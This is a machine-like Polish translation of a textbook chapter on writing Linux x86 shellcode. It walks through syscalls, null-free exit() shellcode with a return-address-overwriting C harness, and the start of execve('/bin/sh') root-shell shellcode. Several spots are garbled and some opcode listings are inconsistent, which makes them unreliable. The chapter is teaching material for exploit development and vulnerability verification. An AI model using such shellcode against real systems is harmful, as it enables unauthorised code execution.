Kod powłoki

Shellcode jest zdefiniowany jako zestaw instrukcji wstrzykiwanych, a następnie wykonywanych przez wykorzystywany program. Shellcode służy do bezpośredniej manipulacji rejestrami i funkcjami programu, więc zazwyczaj jest napisany w asemblerze i przetłumaczony na szesnastkowe kody operacyjne. Zazwyczaj nie można wstrzyknąć shellcode napisanego z języka wysokiego poziomu, a istnieją subtelne niuanse, które uniemożliwiają prawidłowe wykonanie shellcode. To sprawia, że pisanie shellcode jest nieco trudne, a także poniekąd czarną magią. Ta Część uchyla tajemnicę shellcode i pozwala zacząć pisać własny. Termin shellcode wywodzi się z jego pierwotnego celu - był to konkretny fragment exploita wykorzystywanego do tworzenia powłoki roota. Jest to nadal najczęściej używany typ shellcode, ale wielu programistów udoskonaliło shellcode, aby zrobić więcej, co zostało omówione w tym rozdziale. Jak widzieliśmy w Części 2, shellcode jest umieszczany w obszarze wejściowym, a następnie program zostaje nakłoniony do wykonania dostarczonego shellcode. Jeśli zapoznałeś się z przykładami z poprzedniego rozdziału, skorzystałeś już z shellcode, który może wykorzystywać program. Zrozumienie shellcode i ostatecznie napisanie własnego jest z wielu powodów niezbędną umiejętnością. Przede wszystkim, aby ustalić, że luka rzeczywiście nadaje się do wykorzystania, musisz ją najpierw wykorzystać. Może się to wydawać zdrowym rozsądkiem, ale sporo osób jest gotowych stwierdzić, czy daną lukę można wykorzystać, nie dostarczając solidnych dowodów. Co gorsza, czasami programista twierdzi, że luka w zabezpieczeniach nie jest możliwa do wykorzystania, gdy tak naprawdę jest (zwykle dlatego, że pierwotny odkrywca nie mógł dowiedzieć się, jak ją wykorzystać Shellcode i zakładał, że ponieważ on lub ona nie potrafił tego zrozumieć, nikt inny nie może). Ponadto dostawcy oprogramowania często publikują powiadomienia o luce w zabezpieczeniach, ale nie udostępniają exploita. W takich przypadkach może być konieczne napisanie własnego shellcode, jeśli chcesz stworzyć exploita w celu przetestowania błędu na własnych systemach

Zrozumienie wywołań systemowych

Piszemy shellcode, ponieważ chcemy, aby program docelowy działał w sposób inny niż zamierzony przez projektanta. Jednym ze sposobów manipulowania programem jest zmuszenie go do wykonania wywołania systemowego lub wywołania systemowego. Syscalls to niezwykle potężny zestaw funkcji, które pozwolą Ci uzyskać dostęp do systemu operacyjnego - specyficzne funkcje, takie jak pobieranie danych wejściowych, tworzenie danych wyjściowych, wychodzenie z procesu i wykonywanie pliku binarnego. Wywołania systemowe umożliwiają bezpośredni dostęp do jądra, co daje dostęp do funkcji niższego poziomu, takich jak odczytywanie i zapisywanie plików. Wywołania systemowe to interfejs między chronionym trybem jądra a trybem użytkownika. Wdrożenie chronionego trybu jądra teoretycznie zapobiega ingerowaniu aplikacji użytkownika w system operacyjny lub jego narażaniu. Gdy program trybu użytkownika próbuje uzyskać dostęp do obszaru pamięci jądra, generowany jest wyjątek dostępu, który uniemożliwia programowi trybu użytkownika bezpośredni dostęp do obszaru pamięci jądra. Ponieważ niektóre usługi specyficzne dla systemu operacyjnego są wymagane do działania programów, wywołania systemowe zostały zaimplementowane jako interfejs między zwykłym trybem użytkownika a trybem jądra. Istnieją dwie popularne metody wykonywania wywołania systemowego w systemie Linux. Możesz użyć wrappera biblioteki C, libc, który działa pośrednio, lub wykonać wywołanie systemowe bezpośrednio z asemblerem, ładując odpowiednie argumenty do rejestrów, a następnie wywołanie przerwania programowego. Opakowania Libc zostały stworzone po to, aby programy mogły normalnie funkcjonować po zmianie wywołania systemowego i aby zapewnić kilka bardzo przydatnych funkcji (takich jak nasz przyjaciel malloc). To powiedziawszy, większość wywołań systemowych libc jest bardzo bliską reprezentacją rzeczywistych wywołań systemowych jądra. Wywołania systemowe w Linuksie są realizowane przez przerwania programowe i są wywoływane za pomocą instrukcji int 0x80. Gdy int 0x80 jest wykonywane przez program trybu

użytkownika, procesor przełącza się w tryb jądra i wykonuje funkcję syscall. Linux różni się od innych uniksowych metod wywoływania systemowego tym, że zawiera konwencję szybkiego wywoływania wywołań systemowych, która wykorzystuje rejestry w celu zwiększenia wydajności. Proces przebiega w następujący sposób:

1. Określony numer syscall jest ładowany do EAX.

2. Argumenty funkcji syscall znajdują się w innych rejestrach.

3. Wykonywana jest instrukcja int 0x80.

4. Procesor przełącza się w tryb jądra.

5. Wykonywana jest funkcja syscall.

Z każdym wywołaniem systemowym powiązana jest określona wartość całkowita; ta wartość musi być umieszczona w EAX. Każde wywołanie systemowe może mieć maksymalnie sześć argumentów, które są wstawiane odpowiednio do EBX, ECX, EDX, ESI, EDI i EPB. Jeśli do wywołania systemowego potrzeba więcej niż sześć podstawowych argumentów, argumenty są przekazywane przez strukturę danych do pierwszego argumentu. Teraz, gdy już wiesz, jak działa wywołanie systemowe z poziomu asemblera, prześledźmy kolejne kroki, utwórz wywołanie systemowe w C, zdeasembluj skompilowany program i zobaczmy, jakie są rzeczywiste instrukcje asemblera. Najbardziej podstawowym wywołaniem systemowym jest exit(). Zgodnie z oczekiwaniami kończy bieżący proces. Aby stworzyć prosty program w C, który tylko się uruchamia, a potem kończy, żyj następującego kodu:

```
main()

{

exit(0);

}
```

Skompiluj ten program przy użyciu opcji static z gcc-this zapobiega dynamicznemu łączeniu, które zachowa nasze wywołanie systemowe wyjścia:

```
gcc –static –o exit exit.c
```

Następnie zdeasembluj plik binarny:

```
[slap@0day root] gdb exit

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.
```

GDB jest wolnym oprogramowaniem, objętym Powszechną Licencją Publiczną GNU i możesz go zmieniać i/lub rozpowszechniać jego kopie pod pewnymi warunkami. Wpisz „pokaż kopiowanie”, aby zobaczyć warunki. Nie ma żadnej gwarancji na GDB. Wpisz „pokaż gwarancję”, aby uzyskać szczegółowe informacje. Ten GDB został skonfigurowany jako „i386-redhat-linux-gnu”...

```
(gdb) disas _exit

Dump of assembler code for function _exit:

0x0804d9bc <_exit+0>: mov 0x4(%esp,1),%ebx
```

0x0804d9c0 <_exit+4>: mov $0xfc,%eax

0x0804d9c5 <_exit+9>: int $0x80

0x0804d9c7 <_exit+11>: mov $0x1,%eax

0x0804d9cc <_exit+16>: int $0x80

0x0804d9ce <_exit+18>: hlt

0x0804d9cf <_exit+19>: nop

End of assembler dump.

Jeśli spojrzysz na demontaż do wyjścia, widać, że mamy dwa wywołania systemowe. Wartość wywołania systemowego do wywołania jest przechowywana w EAX w wierszach exit+4 i exit+11:

0x0804d9c0 <_exit+4>: mov $0xfc,%eax

0x0804d9c7 <_exit+11>: mov $0x1,%eax

Odpowiadają one syscall 252, exit_group() i syscall 1, exit(). Mamy również instrukcję, która ładuje argument naszego wywołania systemowego wyjścia do EBX. Ten argument został wcześniej odłożony na stos i ma wartość zero:

0x0804d9bc <_exit+0>: mov 0x4(%esp,1),%ebx

Na koniec mamy dwie instrukcje int 0x80, które przełączają procesor w tryb jądra i sprawiają, że pojawiają się nasze wywołania systemowe:

0x0804d9c5 <_exit+9>: int $0x80

0x0804d9cc <_exit+16>: int $0x80

Masz to, instrukcje asemblera, które odpowiadają prostemu wywołaniu systemowemu, exit().

Pisanie shellcode dla exit() Syscall

Zasadniczo masz teraz wszystkie elementy potrzebne do stworzenia shellcode exit(). Napisaliśmy pożądany wywołanie systemowe w C, skompilowaliśmy i zdeasemblowaliśmy plik binarny i rozumiemy, co robią rzeczywiste instrukcje. Ostatnim pozostałym krokiem jest oczyszczenie naszego shellcode, pobranie szesnastkowych opkodów z asemblera i przetestowanie naszego shellcode u, aby upewnić się, że działa. Przyjrzyjmy się, jak możemy trochę zoptymalizować i wyczyścić nasz shellcode.

ROZMIAR KODU POWŁOKI

Chcesz, aby Twój shellcode był jak najprostszy lub jak najbardziej zwarty. Im mniejszy shellcode, tym bardziej będzie użyteczny. Pamiętaj, że umieścisz shellcode w polach wejściowych. Jeśli natkniesz się na wrażliwy obszar wejściowy o długości n bajtów, będziesz musiał zmieścić w nim cały swój shellcode oraz inne instrukcje wywoływania shellcode, więc shellcode musi być mniejszy niż n. Z tego powodu, kiedy piszesz shellcode , zawsze powinieneś być świadomy rozmiaru. W naszym shellcodzie mamy obecnie siedem instrukcji. Zawsze chcemy, aby nasz kod powłoki był jak najbardziej zwarty, aby zmieścić się w małych obszarach wejściowych, więc zróbmy trochę przycinania i optymalizacji. Ponieważ nasz shellcode zostanie wykonany bez konieczności ustawiania argumentów przez inną część kodu (w tym przypadku pobrania wartości do umieszczenia w EBX ze stosu), będziemy musieli ręcznie ustawić ten argument. Możemy to łatwo zrobić, przechowując wartość 0 w EBX. Dodatkowo, tak

naprawdę potrzebujemy tylko wywołania systemowego exit() do celów naszego shellcode, więc możemy bezpiecznie zignorować instrukcje group_exit() i uzyskać ten sam pożądany efekt. Aby zwiększyć wydajność, nie będziemy dodawać instrukcji group_exit().

Z wysokiego poziomu nasz shellcode powinien wykonywać następujące czynności:

1. Zapisz wartość 0 w EBX.

2. Zapisz wartość 1 w EAX.

3. Wykonaj instrukcję int 0x80, aby wykonać wywołanie systemowe.

Napiszmy te trzy kroki w asemblerze. Możemy wtedy uzyskać plik binarny ELF; z tego pliku możemy w końcu wyodrębnić kody:

```
section .text

global _start

_start:

mov ebx,0

mov eax,1

int 0x80
```

Teraz chcemy użyć asemblera nasm do stworzenia naszego pliku obiektowego, a następnie użyć linkera GNU do połączenia plików obiektowych:

```
[slap@0day root] nasm -f elf exit_shellcode.asm

[slap@0day root] ld -o exit_shellcode exit_shellcode.o
```

Wreszcie jesteśmy gotowi na otrzymanie naszych kodów operacyjnych. W tym przykładzie użyjemy objdump. Narzędzie objdump to proste narzędzie, które wyświetla zawartość plików obiektowych w formie czytelnej dla człowieka. To również drukuje ładnie opcode i wyświetla zawartość pliku obiektowego, co czyni go przydatnym w projektowaniu shellcode. Uruchom nasz program exit_shellcode przez objdump w następujący sposób:

```
[slap@0day root] objdump -d exit_shellcode

exit_shellcode: file format elf32-i386

Disassembly of section .text:

08048080 <.text>:

8048080: bb 00 00 00 00 mov $0x0,%ebx

8048085: b8 01 00 00 00 mov $0x1,%eax

804808a: cd 80 int $0x8
```

Możesz zobaczyć instrukcję montażu po prawej stronie. Po lewej stronie znajduje się nasz kod. Wszystko, co musisz zrobić, to umieścić opcode w tablicy znaków i podnieść trochę C, aby wykonać łańcuch. Oto jeden sposób, w jaki może wyglądać gotowy produkt

```
char shellcode[] = “\xbb\x00\x00\x00\x00”
```

“\xb8\x01\x00\x00\x00”

“\xcd\x80”;

int main()

{

int *ret;

ret = (int *)&ret + 2;

(*ret) = (int)shellcode;

}

Teraz skompiluj program i przetestuj shellcode :

[slap@0day slap] gcc -o wack wack.c

[slap@0day slap] ./wack

[slap@0day slap]

Wygląda na to, że program wyszedł normalnie. Ale skąd możemy mieć pewność, że to rzeczywiście nasz shellcode? Możesz użyć śledzenia wywołań systemowych (strace) do wydrukowania każdego wywołania systemowego, które tworzy dany program. Oto strace w akcji:

[slap@0day slap] strace ./wack

execve(“./wack”, [“./wack”], [/* 34 vars */]) = 0 uname({sys=”Linux”,

node=”0day.jackkoziol.com”, ...}) = 0

brk(0) = 0x80494d8

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,

-1, 0) = 0x40016000

open(“/etc/ld.so.preload”, O_RDONLY) = -1 ENOENT (No such file or directory)

open(“/etc/ld.so.cache”, O_RDONLY) = 3

fstat64(3, {st_mode=S_IFREG|0644, st_size=78416, ...}) = 0

old_mmap(NULL, 78416, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40017000

close(3) = 0

open(“/lib/tls/libc.so.6”, O_RDONLY) = 3

read(3, “\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0`V\1B4\0”...,

512) = 512

fstat64(3, {st_mode=S_IFREG|0755, st_size=1531064, ...}) = 0

old_mmap(0x42000000, 1257224, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x42000000

old_mmap(0x4212e000, 12288, PROT_READ|PROT_WRITE,

MAP_PRIVATE|MAP_FIXED, 3, 0x12e000) = 0x4212e000

old_mmap(0x42131000, 7944, PROT_READ|PROT_WRITE,

MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x42131000

close(3) = 0

set_thread_area({entry_number:-1 -> 6, base_addr:0x400169e0,

limit:1048575, seg_32bit:1, contents:0, read_exec_only:0,

limit_in_pages:1, seg_not_present:0, useable:1}) = 0

munmap(0x40017000, 78416) = 0

exit(0) = ?

Jak widać, ostatnia linia to nasze wywołanie systemowe exit(0). Jeśli chcesz, wróć i zmodyfikuj kod powłoki, aby wykonać wywołanie systemowe exit_group():

char shellcode[] = "\xbb\x00\x00\x00\x00"

"\xb8\xfc\x00\x00\x00"

"\xcd\x80";

int main()

{

int *ret;

ret = (int *)&ret + 2;

(*ret) = (int)shellcode;

}

Ten kod powłoki exit_group() będzie miał ten sam efekt. Zauważ, że zmieniliśmy drugi opcode w drugiej linii z \x01 (1) na \xfc (252), co spowoduje wywołanie exit_group() z tymi samymi argumentami. Przekompiluj program i ponownie uruchom strace; zobaczysz nowe wywołanie systemowe:

[slap@0day slap] strace ./wack

execve("./wack", ["./wack"], [/* 34 vars */]) = 0

uname({sys="Linux", node="0day.jackkoziol.com", ...}) = 0

brk(0) = 0x80494d8

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,

-1, 0) = 0x40016000

open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)

open("/etc/ld.so.cache", O_RDONLY) = 3

fstat64(3, {st_mode=S_IFREG|0644, st_size=78416, ...}) = 0

old_mmap(NULL, 78416, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40017000

close(3) = 0

open("/lib/tls/libc.so.6", O_RDONLY) = 3

read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0`V\1B4\0"...,

512) = 512

fstat64(3, {st_mode=S_IFREG|0755, st_size=1531064, ...}) = 0

old_mmap(0x42000000, 1257224, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x42000000

old_mmap(0x4212e000, 12288, PROT_READ|PROT_WRITE,

MAP_PRIVATE|MAP_FIXED, 3, 0x12e000) = 0x4212e000

old_mmap(0x42131000, 7944, PROT_READ|PROT_WRITE,

MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x42131000

close(3) = 0

set_thread_area({entry_number:-1 -> 6, base_addr:0x400169e0,

limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1,

seg_not_present:0, useable:1}) = 0

munmap(0x40017000, 78416) = 0

exit_group(0) = ?

Opracowałeś już jeden z najbardziej podstawowych przykładów shellcode. Widać, że shellcode faktycznie działa, ale niestety shellcode, który utworzyłeś w tej sekcji, prawdopodobnie nie nadaje się do użytku w prawdziwym exploicie. W następnej sekcji omówimy, jak naprawić nasz shellcode, aby można go było wstrzyknąć do obszaru wejściowego.

Kod powłoki do wstrzykiwania

Najbardziej prawdopodobnym miejscem, w którym umieścisz shellcode, jest bufor przeznaczony do wprowadzania danych przez użytkownika. Jeszcze bardziej prawdopodobne, że ten bufor będzie tablicą znaków. Jeśli wrócisz i spojrzysz na nasz shellcode

\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80

zauważysz, że istnieją pewne wartości null (\x00). Te wartości null spowodują, że kod powłoki zakończy się niepowodzeniem po wstrzyknięciu do tablicy znaków, ponieważ znak null jest używany do zakończenia łańcuchów. Musimy wykazać się nieco kreatywnością i znaleźć sposoby na zmianę naszych wartości null na inne niż null kody operacji. Są na to dwie popularne metody. Pierwszym z nich jest po prostu zastąpienie instrukcji montażu, które tworzą wartości null, innymi instrukcjami, które tego nie robią. Druga metoda jest nieco bardziej skomplikowana — polega na dodawaniu wartości null w czasie wykonywania za pomocą instrukcji, które nie tworzą wartości null. Ta metoda jest również trudna, ponieważ będziemy musieli znać dokładny adres w pamięci, pod którym znajduje się nasz shellcode . Znalezienie dokładnej lokalizacji naszego shellcode wiąże się z użyciem jeszcze jednej sztuczki, więc tę drugą metodę zachowamy na następny, bardziej zaawansowany przykład. Użyjemy pierwszej metody

usuwania wartości null. Wróć i spójrz na nasze trzy instrukcje montażu i odpowiadające im kody operacyjne:

mov ebx,0 \xbb\x00\x00\x00\x00

mov eax,1 \xb8\x01\x00\x00\x00

int 0x80 \xcd\x80

Pierwsze dwie instrukcje są odpowiedzialne za tworzenie wartości null. Jeśli pamiętasz assembler, instrukcja Exclusive OR (xor) zwróci zero, jeśli oba operandy są równe. Oznacza to, że jeśli użyjemy instrukcji Exclusive OR na dwóch operandach, o których wiemy, że są sobie równe, możemy uzyskać wartość 0 bez konieczności używania wartości 0 w instrukcji. W związku z tym nie będziemy musieli mieć pustego kodu operacji. Zamiast używać instrukcji mov do ustawienia wartości EBX na 0, użyjmy instrukcji Exclusive OR (xor). A więc nasza pierwsza instrukcja

mov ebx,0

staje się

xor ebx,ebx

Mamy nadzieję, że jedna z instrukcji została usunięta z wartości null - wkrótce ją przetestujemy. Być może zastanawiasz się, dlaczego w naszej drugiej instrukcji mamy wartości null. Nie umieściliśmy w rejestrze wartości zerowej, więc dlaczego mamy wartości null? Pamiętaj, że w tej instrukcji używamy rejestru 32-bitowego. Do rejestru przenosimy tylko jeden bajt, ale w rejestrze EAX jest miejsce na cztery. Reszta rejestru zostanie wypełniona zerami, aby to zrekompensować. Możemy obejść ten problem, jeśli pamiętamy, że każdy 32-bitowy rejestr jest podzielony na dwa 16-bitowe „obszary”; dostęp do obszaru pierwszych 16 bitów można uzyskać za pomocą rejestru AX. Dodatkowo 16-bitowy rejestr AX można podzielić dalej na rejestry AL i AH. Jeśli chcesz tylko pierwszych 8 bitów, możesz użyć rejestru AL. Nasza binarna wartość 1 zajmie tylko 8 bitów, więc możemy dopasować naszą wartość do tego rejestru i uniknąć zapełnienia EAX zerami. W tym celu zmieniamy naszą pierwotną instrukcję

mov eax,1

do takiego, który używa AL zamiast EAX:

mov al,1

Teraz powinniśmy byli zająć się wszystkimi zerami. Sprawdźmy, czy mamy, pisząc nasze nowe instrukcje montażu i sprawdzając, czy mamy jakieś puste opkody:

Section .text

global _start

_start:

xor ebx,ebx

mov al,1

int 0x80

Złóż to razem i zdeasembluj za pomocą objdump:

[slap@0day root] nasm -f elf exit_shellcode.asm

[slap@0day root] ld -o exit_shellcode exit_shellcode.o

[slap@0day root] objdump -d exit_shellcode

exit_shellcode: file format elf32-i386

Disassembly of section .text:

08048080 < .text >:

8048080: 31 db xor %ebx,%ebx

8048085: b0 01 mov $0x1,%al

804808a: cd 80 int $0x80

Wszystkie nasze zerowe opkody zostały usunięte i znacznie zmniejszyliśmy rozmiar naszego shellcode u. Teraz masz w pełni działający, a co ważniejsze, wstrzykiwalny kod powłoki.

Rozmnażanie powłoki

Nauka pisania prostego shellcode exit() jest w rzeczywistości tylko ćwiczeniem edukacyjnym. W praktyce samodzielny kod powłoki exit() niewiele się przyda. Jeśli chcesz zmusić proces, który ma wrażliwy obszar wejściowy do zakończenia, najprawdopodobniej możesz po prostu wypełnić obszar wejściowy niedozwolonymi instrukcjami. Spowoduje to awarię programu, co ma taki sam efekt jak wstrzyknięcie kodu powłoki exit(). Nie oznacza to, że twoja ciężka praca została zmarnowana na daremne ćwiczenia. Możesz ponownie użyć swojego kodu powłoki wyjścia w połączeniu z innym kodem powłoki, aby zrobić coś wartościowego, a następnie wymusić czyste zamknięcie procesu, co może być przydatne w niektórych sytuacjach. Ta sekcja będzie poświęcona zrobieniu czegoś bardziej zabawnego - typowej sztuczki atakującego polegającej na spawnowaniu powłoki głównej, która może zostać wykorzystana do złamania komputera docelowego. Podobnie jak w poprzedniej sekcji, stworzymy ten shellcode od podstaw dla systemu operacyjnego Linux działającego na IA32. Prześledzimy pięć kroków do sukcesu shellcode :

1. Napisz pożądany kod powłoki w języku wysokiego poziomu.

2. Skompiluj i zdeasembluj wysokopoziomowy program shellcode.

3. Przeanalizuj działanie programu z poziomu zespołu.

4. Oczyść zespół, aby był mniejszy i nadający się do wstrzykiwania.

5. Wyodrębnij opkody i utwórz shellcode .

Pierwszym krokiem jest stworzenie prostego programu w C, który zainicjuje naszą powłokę. Najłatwiejszą i najszybszą metodą tworzenia powłoki jest utworzenie nowego procesu. Proces w systemie Linux można utworzyć na dwa sposoby: możemy go utworzyć za pomocą istniejącego procesu i zastąpić już uruchomiony program lub możemy zlecić istniejącemu procesowi wykonanie kopii samego siebie i uruchomienie nowego programu w jego miejsce . Jądro zajmuje się robieniem tych rzeczy za nas - możemy dać znać jądru, co chcemy zrobić, wydając wywołania systemowe fork() i execve(). Użycie fork() i execve() razem tworzy kopię istniejącego procesu, podczas gdy execve() pojedynczo wykonuje inny program w miejsce istniejącego. Utrzymujmy to tak prosto, jak to tylko możliwe i używajmy samego execve. Poniżej znajduje się wywołanie execve w prostym programie w C:

```
#include < stdio.h  >

int main()

{

char *happy[2];

happy[0] = “/bin/sh”;

happy[1] = NULL;

execve (happy[0], happy, NULL);

}
```

Powinniśmy skompilować i uruchomić ten program, aby upewnić się, że uzyskamy pożądany efekt:

```
[slap@0day root]# gcc spawnshell.c -o spawnshell

[slap@0day root]# ./spawnshell

sh-2.05b#
```

Jak widać, nasza powłoka została zrodzona. W tej chwili nie jest to zbyt interesujące, ale gdyby ten kod został wstrzyknięty zdalnie, a następnie wykonany, można zobaczyć, jak potężny może być ten mały program. Teraz, aby nasz program w C mógł zostać wykonany po umieszczeniu w wrażliwym obszarze wejściowym, kod musi zostać przetłumaczony na surowe instrukcje szesnastkowe. Możemy to zrobić dość łatwo. Najpierw będziesz musiał ponownie skompilować shellcode za pomocą opcji –static w gcc; ponownie, zapobiega to dynamicznemu łączeniu, które zachowuje nasze execve syscall:

```
gcc -static –o spawnshell spawnshell.c
```

Teraz chcemy zdeasemblować program, aby dostać się do naszego opkodu. Poniższe dane wyjściowe z objdump zostały zmodyfikowane w celu zaoszczędzenia miejsca - pokażemy tylko odpowiednie fragmenty:

```
080481d0 < main >:

80481d0: 55 push %ebp

80481d1: 89 e5 mov %esp,%ebp

80481d3: 83 ec 08 sub $0x8,%esp

80481d6: 83 e4 f0 and $0xfffffff0,%esp

80481d9: b8 00 00 00 00 mov $0x0,%eax

80481de: 29 c4 sub %eax,%esp

80481e0: c7 45 f8 88 ef 08 08 movl $0x808ef88,0xfffffff8(%ebp)

80481e7: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp)

80481ee: 83 ec 04 sub $0x4,%esp

80481f1: 6a 00 push $0x0

80481f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax
```

80481f6: 50 push %eax

80481f7: ff 75 f8 pushl 0xfffffff8(%ebp)

80481fa: e8 f1 57 00 00 call 804d9f0 < __execve >

80481ff: 83 c4 10 add $0x10,%esp

8048202: c9 leave

8048203: c3 ret

0804d9f0 < __execve>:

804d9f0: 55 push %ebp

804d9f1: b8 00 00 00 00 mov $0x0,%eax

804d9f6: 89 e5 mov %esp,%ebp

804d9f8: 85 c0 test %eax,%eax

804d9fa: 57 push %edi

804d9fb: 53 push %ebx

804d9fc: 8b 7d 08 mov 0x8(%ebp),%edi

804d9ff: 74 05 je 804da06 < __execve+0x16>

804da01: e8 fa 25 fb f7 call 0 <_init-0x80480b4>

804da06: 8b 4d 0c mov 0xc(%ebp),%ecx

804da09: 8b 55 10 mov 0x10(%ebp),%edx

804da0c: 53 push %ebx

804da0d: 89 fb mov %edi,%ebx

804da0f: b8 0b 00 00 00 mov $0xb,%eax

804da14: cd 80 int $0x80

804da16: 5b pop %ebx

804da17: 3d 00 f0 ff ff cmp $0xffff000,%eax

804da1c: 89 c3 mov %eax,%ebx

804da1e: 77 06 ja 804da26 < __execve+0x36 >

804da20: 89 d8 mov %ebx,%eax

804da22: 5b pop %ebx

804da23: 5f pop %edi

804da24: c9 leave

804da25: c3 ret

804da26: f7 db neg %ebx

804da28: e8 cf ab ff ff call 80485fc < __errno_location >

804da2d: 89 18 mov %ebx,(%eax)

804da2f: bb ff ff ff ff mov $0xffffffff,%ebx

804da34: eb ea jmp 804da20 < __execve+0x30 >

804da36: 90 nop

804da37: 90 nop

Jak widać, execve syscall ma dość zastraszającą listę instrukcji, które należy przetłumaczyć na kod powłoki. Dotarcie do punktu, w którym usunęliśmy wszystkie null i skompaktowaliśmy shellcode , zajmie sporo czasu. Dowiedzmy się więcej o execve syscall, aby dokładnie określić, co się tutaj dzieje. Dobrym miejscem do rozpoczęcia jest strona podręcznika dla execve. Pierwsze dwa akapity strony podręcznika dostarczają nam cennych informacji:

int execve(const char *nazwa pliku, char *const argv[], char *const envp[]);

* execve() wykonuje program wskazany przez nazwę pliku. nazwa pliku musi być plikiem wykonywalnym binarnym lub skryptem zaczynającym się od wiersza w postaci „#! tłumacz [arg]”. W tym drugim przypadku interpreter musi być poprawną ścieżką do pliku wykonywalnego, który sam nie jest skryptem i który zostanie wywołany jako interpreter [arg] nazwa_pliku.

* argv jest tablicą ciągów argumentów przekazanych do nowego programu. envp to tablica łańcuchów, zwykle w postaci klucz=wartość, które są przekazywane jako środowisko do nowego programu. Zarówno argv, jak i envp muszą być zakończone wskaźnikiem zerowym.

Strona podręcznika mówi nam, że możemy bezpiecznie założyć, że execve potrzebuje trzech przekazanych do niego argumentów. Z poprzedniego przykładu wywołania systemowego exit() wiemy już, jak przekazać argumenty do wywołania systemowego w Linuksie (załaduj maksymalnie sześć z nich do rejestrów). Strona podręcznika mówi nam również, że wszystkie te trzy argumenty muszą być wskaźnikami. Pierwszy argument jest wskaźnikiem do ciągu, który jest nazwą pliku binarnego, który chcemy wykonać. Drugi jest wskaźnikiem do tablicy argumentów, która w naszym uproszczonym przypadkiem jest nazwa programu do wykonania (bin/sh). Trzecim i ostatnim argumentem jest wskaźnik do tablicy środowiska, który możemy pozostawić na null, ponieważ nie musimy przekazywać tych danych, aby wykonać wywołanie systemowe.

UWAGA : Ponieważ mówimy o przekazywaniu wskaźników do łańcuchów, musimy pamiętać o zakończeniu wszystkich przekazywanych przez nas łańcuchów.

W tym wywołaniu systemowym musimy umieścić dane w czterech rejestrach; jeden rejestr będzie zawierał execve wartość wywołania systemowego (dziesiętnie 11 lub szesnastkowy 0x0b), a pozostałe trzy będą przechowywać nasze argumenty do wywołania systemowego. Po prawidłowym umieszczeniu argumentów i ich prawidłowym formacie możemy wykonać właściwe wywołanie systemowe i przełączyć się w tryb jądra. Korzystając z tego, czego nauczyłeś się ze strony podręcznika, powinieneś lepiej zrozumieć, co dzieje się podczas naszego demontażu. Począwszy od siódmej instrukcji w main(), adres ciągu /bin/sh jest kopiowany do pamięci. Później instrukcja skopiuje te dane do rejestru, który będzie używany jako argument dla naszego execve syscall:

80481e0: movl $0x808ef88,0xfffffff8(%ebp)

Następnie wartość null jest kopiowana do sąsiedniego obszaru pamięci. Ponownie ta wartość pusta zostanie skopiowana do rejestru i użyta w naszym wywołaniu systemowym:

80481e7: movl $0x0,0xfffffffc(%ebp)

Teraz argumenty są odkładane na stos, aby były dostępne po wywołaniu execve. Pierwszy argument, który ma zostać wypchnięty, ma wartość NULL:

80481f1: push $0x0

Następnym argumentem do przekazania jest adres naszej tablicy argumentów (happy[]). Najpierw adres jest umieszczany w EAX, a następnie wartość adresu w EAX jest odkładana na stos:

80481f3: lea 0xfffffff8(%ebp),%eax

80481f6: push %eax

Na koniec odkładamy adres ciągu /bin/sh na stos:

80481f7: pushl 0xfffffff8(%ebp)

Teraz funkcja execve jest wywoływana:

80481fa: call 804d9f0 < execve >

Zadaniem funkcji execve jest ustawienie rejestrów, a następnie wykonanie przerwania. Dla celów optymalizacji, które nie są związane z funkcjonalnym shellcode em, funkcja C jest tłumaczona na asembler w nieco zawiły sposób, patrząc na nią z perspektywy niskiego poziomu. Wyizolujmy dokładnie to, co jest dla nas ważne, a resztę zostawmy. Pierwsze ważne instrukcje ładują adres ciągu /bin/sh do EBX:

804d9fc: mov 0x8(%ebp),%edi

804da0d: mov %edi,%ebx

Następnie załaduj adres naszej tablicy argumentów do ECX:

804da06: mov 0xc(%ebp),%ecx

Następnie adres null jest umieszczany w EDX:

804da09: mov 0x10(%ebp),%edx

Ostatnim rejestrem do załadowania jest EAX. Numer syscall dla execve, 11, jest umieszczany w EAX:

804da0f: mov $0xb,%eax

Wreszcie wszystko gotowe. Wywoływana jest instrukcja int 0x80, przełączająca się w tryb jądra, a nasz wywołanie systemowe wykonuje:

804da14: int $0x80

Teraz, gdy rozumiesz teorię stojącą za execve syscall z poziomu asemblera i zdeasemblowałeś program w C, jesteśmy gotowi do stworzenia naszego shellcode u. Z przykładowego shellcode wyjścia wiemy już, że będziemy mieć kilka problemów z tym kodem w prawdziwym świecie.

UWAGA: Zamiast budować wadliwy kod powłoki, a następnie naprawiać go, tak jak to zrobiliśmy w poprzednim przykładzie, po prostu zrobimy to dobrze za pierwszym razem. Jeśli potrzebujesz dodatkowej praktyki w zakresie shellcode owania, możesz najpierw napisać niewstrzykiwalny shellcode.

